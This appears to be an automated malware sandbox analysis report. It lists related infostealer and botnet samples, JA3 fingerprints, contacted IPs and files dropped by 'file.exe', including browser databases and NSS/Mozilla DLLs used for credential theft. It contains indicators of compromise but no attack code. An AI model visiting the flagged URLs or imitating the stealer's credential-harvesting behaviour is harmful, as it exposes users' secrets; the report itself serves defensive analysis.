	https://ambir.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	13.107.42.14
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.69.116.107
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.63
	x86_64.elf	Get hash	malicious	Mirai	Browse	40.123.105.159
	i486.elf	Get hash	malicious	Mirai	Browse	20.198.14.134

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	PNSBt.js	Get hash	malicious	AsyncRAT	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	https://ch-review.incendiaryblue.com	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	https://safelinks.mygo1.com/ls/click?upn=u001.1mDt7ytPYCJSVG-2BhF04Stdj4cHPTtKuY-2FmURzzu8QTldxw-2FzpyQYTJMxn3CPFnnsIuOY-2F5ruiOS6FLjm58JljkOmonXKnT8iwwYmA30I9bsERP5vx05gL85c3Lc-2F9WrpUfyNz12kcqjd3wt6WtaxLWxoHc5J3Zua9xQUurCc2AIjJtnP8Xu6Otzn8DBWsS0QPl2WC-2FCyrpDHulFvP0eEWn9IDo-2BqFc1GmD1SsVw5lRKY6yWeuyFQhUWIqZ4VCAeEroA6Ndqh9iaNvFz0XzERrEFYNTxkPirSQWkw6YqX5uo-3DaVWv_h5yw3DykLZfOpXzx776oAcLdVv6tuK-2FE7nfoR01CbnMOUH4fGhxn3KVtBew-2BRfJoKGgpvyhjBTXBTw1J6hN0wi-2FkZpowy1W9-2BTe-2Bf57Ts50FCXINRnefXkQ-2FFO3hKPeSa4hJKnd-2Bpj-2F7GS6r3Uq0ucRRb6izhExkinWfndIosIP-2Ff06hq3eO6ged-2F-2FYA1ldX-2BK4wuZipA-2BXRgTIkXvTbKj74iEMllOxCNkgoQZE3mKkIMM6o0L-2FNgq5TR8KcWZzS-2BEoZ1Oyop5AmC8zRE1SSKfnZ-2F0g1qg2dir-2F788Fq8CtpqmRpkFaF34nQcSYSfbixDSj0B5gj0fuY43UiPKR2D9s0w8lZaDR5dDYOswzPttauCIiIjiyfK20I-2BA4JjKFg	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	https://docs.google.com/presentation/d/e/2PACX-1vTAoe8qPXC0cJJn6_2lLEv9r90P4SmL-xhPNwUfY42Cu5vLgixQnjGGDWLIXEo5gnj8n1vLZKyi99gr/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18
	http://interpro.wisc.edu/courses/maintaining-asphalt-pavements/?utm_source=Brochure&utm_medium=postal&utm_campaign=D487&utm_term=SHB&utm_content=Sep	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 2.16.229.162 40.126.53.18

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGCFBGDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFHJKJJJECGDHJJDHDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FHCGHJDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2655804948447311
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM0SAELyKOMq+8HKkjucswRv8p3nVume:K0q+n0J09ELyKOMq+8HKkjuczRv89y
MD5:	E34E4BB3FFA63F89010DF7EFE0EFDAA6
SHA1:	9BDC50555D2A5BDCFB1878FFB42AE7EB74193AF0
SHA-256:	31A32384F5D98754915042C8F17604F2CB25DD9B01AB0A56E457438B3820E3B4
SHA-512:	7A7CEFF5A521A409B90891ADEB1FE3BB3F9033E6EF73EF81554467FA9596B99E40A7E15F90CE67D63C07AA3BE99647D0F62678196B90BEDDC5782B6C0986ABED
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDBKKFHIEGDHJKECAAKKEBAFIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIIEGHIDBGHIECAAECGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEHDAFHDHCBFIDGCFIDGHJDGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKEHDBAEGIIIEBGCAAFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: qlI3ReINCV.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0becdd9a-040b-4e78-a618-f300a3a651f2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46148
Entropy (8bit):	6.087691492302719
Encrypted:	false
SSDEEP:	768:nMkbJrT8IeQcrQgxaOMKKGf4oOcoH1bO0fEOtE7l7YEnn6Cioh7DRo+yM/42cRa5:nMk1rT8HRaBcoH14l1n6Foh7VLyMV/Yu
MD5:	1C80DC0572FDDCF4E210B0DBF6B26F26
SHA1:	9DCF6A720E21DB0A5252FE22B95DA8B56813BAC8
SHA-256:	F7339007C39323593D313AF46F83DEF69562C856687EDC122437B40C35254BF2
SHA-512:	BA6BE2CDD87D52B1344E27ACC8AD4791A735D81252ED44CFC23C32E48917071D269FA50C91FB070DD23724EA7178F37E6DDFC9B6F6C008D1A1495E6D78FDEA02
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"8eb4b01d-40bd-406e-9cf8-a93bdef1300e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0cb30536-f77f-4e80-9a36-adc4fc8619ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46225
Entropy (8bit):	6.087605958088912
Encrypted:	false
SSDEEP:	768:nMkbJrT8IeQcrQgxaOMKKGf4oOcoH1FO0fEOtE7l7YEnn6Cioh7DRo+yM/42cRa5:nMk1rT8HRaBcoH1Kl1n6Foh7VLyMV/Yu
MD5:	C18C4D5C0A11DD2E9BAF5F0D7E54CE94
SHA1:	099D3C09B2EC18F320EBF850F2B87311299033EE
SHA-256:	6C08508B1F1C08D7C306473872577BCA13D778429448052FAA5137E75585B19B
SHA-512:	3CBC02BE068888D863E8EEFFB159C2F02E45EAFA4B512AC48BE41A1680B435F1CC43A73471C804E270D6D60A6B32024E48E66FD43B9A6EA71EF048B9D424DD3B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"8eb4b01d-40bd-406e-9cf8-a93bdef1300e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2854fdac-abd6-4873-a314-9cd26ba594f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46225
Entropy (8bit):	6.087605994634912
Encrypted:	false
SSDEEP:	768:nMkbJrT8IeQcrQgxnOMKKGf4oOcoH1FO0fEOtE7l7YEnn6Cioh7DRo+yM/42cRa5:nMk1rT8HRnBcoH1Kl1n6Foh7VLyMV/Yu
MD5:	F2EAB0860DD503E0F6143ED2BCD329D4
SHA1:	C70FC8AD25529778C98DF14417F78ED997D55E14
SHA-256:	58D064307875FB726AC546E55D0501F6E1F751B3A5F59D7ED19EE959E6B5C798
SHA-512:	38D36D071E308F9902293D3D6AA6388F199F2B24D0D7615B012400A47886EC15CD71F9D03193EF921A6B42267B4081D2AE3E09D94A4226E12B621CEF8A287C25
Malicious:	false
